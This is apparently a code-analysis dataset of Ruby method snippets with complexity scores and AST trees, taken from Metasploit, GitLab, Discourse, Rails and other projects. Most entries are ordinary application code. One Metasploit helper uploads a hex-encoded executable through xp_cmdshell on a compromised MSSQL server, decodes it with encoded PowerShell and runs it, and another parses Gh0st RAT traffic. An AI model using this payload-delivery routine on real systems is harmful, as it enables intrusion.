{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/gh0st.rb","start_line":62,"raw_source":"def validate_response(data)\n    if data.nil?\n      print_status('Server closed connection')\n      return false\n    end\n    if data.empty?\n      print_status('No response received')\n      return false\n    end\n    if data.size < 13\n      print_status('Invalid packet')\n      print_status(data)\n      return false\n    end\n    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')\n    if mag.index(datastore['MAGIC']) != 0\n      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])\n      return false\n    end\n    if pktlen != data.size\n      print_status('Packet size mismatch')\n      return false\n    end\n    msg = Zlib::Inflate.inflate(data[13..data.size])\n    if msg.size != msglen\n      print_status('Packet decompress failure')\n      return false\n    end\n    return true\n  end","complexity_score":58.85,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Server closed connection\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No response received\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Invalid packet\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mag\"]},{\"type\":\"lvasgn\",\"children\":[\"pktlen\"]},{\"type\":\"lvasgn\",\"children\":[\"msglen\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[13]}]}]},\"unpack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAGIC\"]}]},\"size\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"VV\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mag\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAGIC\"]}]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Bad magic: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mag\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAGIC\"]}]},\"size\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pktlen\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Packet size mismatch\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"Inflate\"]},\"inflate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[13]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"size\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"msglen\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Packet decompress failure\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"40bbdc2b-0ad5-44e5-a2ab-5f8d7c23af23"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/post_revision.rb","start_line":8,"raw_source":"def initialize\n      super(::PostRevision, DiscourseDev.config.post_revisions[:count])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"super\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PostRevision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDev\"]},\"config\"]},\"post_revisions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]}]}","id":"4790466d-bd68-4fb8-bf61-c7b746a46f5e"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/about.rb","start_line":41,"raw_source":"def has_group_with_name?(name)\n        has_css?(\".about__#{name.downcase} h3\", text: name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_group_with_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".about__\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\" h3\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"398c977e-b9d9-4581-80cd-cbb107942525"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/mssql_sqli.rb","start_line":105,"raw_source":"def powershell_upload_exec(exe, debug=false)\n\n    # hex converter\n    hex = exe.unpack(\"H*\")[0]\n    # create random alpha 8 character names\n    #var_bypass  = rand_text_alpha(8)\n    var_payload = rand_text_alpha(8)\n    print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n    # our payload converter, grabs a hex file and converts it to binary for us through powershell\n    h2b = \"$s = gc 'C:\\\\Windows\\\\Temp\\\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\#{var_payload}.exe',$b)\"\n    h2b_unicode=Rex::Text.to_unicode(h2b)\n    # base64 encode it, this allows us to perform execution through powershell without registry changes\n    h2b_encoded = Rex::Text.encode_base64(h2b_unicode)\n    print_status(\"Uploading the payload #{var_payload}, please be patient...\")\n    idx = 0\n    cnt = 500\n    while(idx < hex.length - 1)\n      mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n      idx += cnt\n    end\n    print_status(\"Converting the payload utilizing PowerShell EncodedCommand...\")\n    mssql_xpcmdshell(\"powershell -EncodedCommand #{h2b_encoded}\", debug)\n    mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n    print_status(\"Executing the payload...\")\n    mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n    print_status(\"Be sure to cleanup #{var_payload}.exe...\")\n  end","complexity_score":32.33,"ast_json":"{\"type\":\"def\",\"children\":[\"powershell_upload_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exe\"]},{\"type\":\"optarg\",\"children\":[\"debug\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_payload\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: This module will leave \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe in the SQL Server %TEMP% directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$s = gc 'C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\"';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe',$b)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_unicode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"lvar\",\"children\":[\"h2b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"h2b_unicode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading the payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\", please be patient...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"cnt\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]},{\"type\":\"str\",\"children\":[\">>%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"idx\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Converting the payload utilizing PowerShell EncodedCommand...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"powershell -EncodedCommand \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h2b_encoded\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c del %TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Be sure to cleanup \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe...\"]}]}]}]}]}","id":"f02dda7a-a81a-4c6e-b9aa-ad7a1a3fc1c1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/sorters/spree/base_sorter.rb","start_line":43,"raw_source":"def order_direction(field)\n      desc_order(field) ? :desc : :asc\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"order_direction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"desc_order\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}","id":"0360c0d3-9544-43d6-ae17-71b36c314947"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blame_helper.rb","start_line":4,"raw_source":"def age_map_duration(blame_groups, project)\n    now = Time.zone.now\n    start_date = blame_groups.map { |blame_group| blame_group[:commit].committed_date }\n      .append(project.created_at).min\n\n    {\n      now: now,\n      started_days_ago: (now - start_date).to_i / 1.day\n    }\n  end","complexity_score":18.95,"ast_json":"{\"type\":\"def\",\"children\":[\"age_map_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blame_groups\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blame_groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blame_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blame_group\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit\"]}]},\"committed_date\"]}]},\"append\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"created_at\"]}]},\"min\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_days_ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]},\"to_i\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]}]}]}","id":"1ab11cd0-e702-4ea0-97a7-824ba2f24931"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/persistence_suggester.rb","start_line":135,"raw_source":"def set_module_options(mod)\n    ignore_list = ['ACTION', 'TARGET'].freeze\n    datastore.each_pair do |k, v|\n      mod.datastore[k] = v unless ignore_list.include?(k.upcase)\n    end\n    if !mod.datastore['SESSION'] && session.present?\n      mod.datastore['SESSION'] = session.sid\n    end\n  end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_module_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ignore_list\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"freeze\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_list\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"upcase\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SESSION\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SESSION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sid\"]}]},null]}]}]}","id":"6f196ada-2387-4288-a3c3-c87f1540ac4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250701202854_create_observability_group_o11y_settings.rb","start_line":6,"raw_source":"def change\n    create_table :observability_group_o11y_settings do |t|\n      t.references :group, null: false, foreign_key: { to_table: :namespaces, on_delete: :cascade }, unique: true\n      t.text :o11y_service_url, null: false, limit: 255\n      t.text :o11y_service_user_email, null: false, limit: 255\n      t.jsonb :o11y_service_password, null: false\n      t.jsonb :o11y_service_post_message_encryption_key, null: false\n\n      t.timestamps_with_timezone null: false\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"observability_group_o11y_settings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"namespaces\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"o11y_service_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"o11y_service_user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"o11y_service_password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"o11y_service_post_message_encryption_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"2356ee1d-ab5c-482b-b07c-bae870541530"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/project_policy.rb","start_line":1299,"raw_source":"def project_group_requester?\n    return false if @user.nil?\n    return false unless user_is_user?\n\n    project.group && project.group.requesters.exists?(user_id: @user.id)\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"project_group_requester?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_is_user?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"group\"]},\"requesters\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}]}]}]}","id":"c5b46da3-d316-4bc8-9a21-b8a51d69ff9c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_dialog.rb","start_line":18,"raw_source":"def self.display_name(number = 1)\n    n_('Dialog', 'Dialogs', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Dialog\"]},{\"type\":\"str\",\"children\":[\"Dialogs\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"2d43e983-680f-41e8-840e-09fac84149f2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/processing.rb","start_line":229,"raw_source":"def syndicate_metrics?\n    Settings.performance.syndicate_metrics && MiqQueue.messaging_type != \"miq_queue\"\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"syndicate_metrics?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"performance\"]},\"syndicate_metrics\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"messaging_type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"miq_queue\"]}]}]}]}","id":"c3478009-b70b-4154-843e-d28ccd786a60"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attributes.rb","start_line":161,"raw_source":"def attr_i18n_key(name)\n      if name == \"percentage_done\"\n        \"done_ratio\"\n      else\n        name\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attr_i18n_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"percentage_done\"]}]},{\"type\":\"str\",\"children\":[\"done_ratio\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"37070b98-a604-4f7a-a123-9a901d547abe"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1829,"raw_source":"def test_default_string_params\n    draw do\n      get \"inline_pages/(:id)\", to: \"pages#show\", id: \"home\"\n      get \"default_pages/(:id)\", to: \"pages#show\", defaults: { id: \"home\" }\n\n      defaults id: \"home\" do\n        get \"scoped_pages/(:id)\", to: \"pages#show\"\n      end\n    end\n\n    get \"/inline_pages\"\n    assert_equal \"home\", @request.params[:id]\n\n    get \"/default_pages\"\n    assert_equal \"home\", @request.params[:id]\n\n    get \"/scoped_pages\"\n    assert_equal \"home\", @request.params[:id]\n  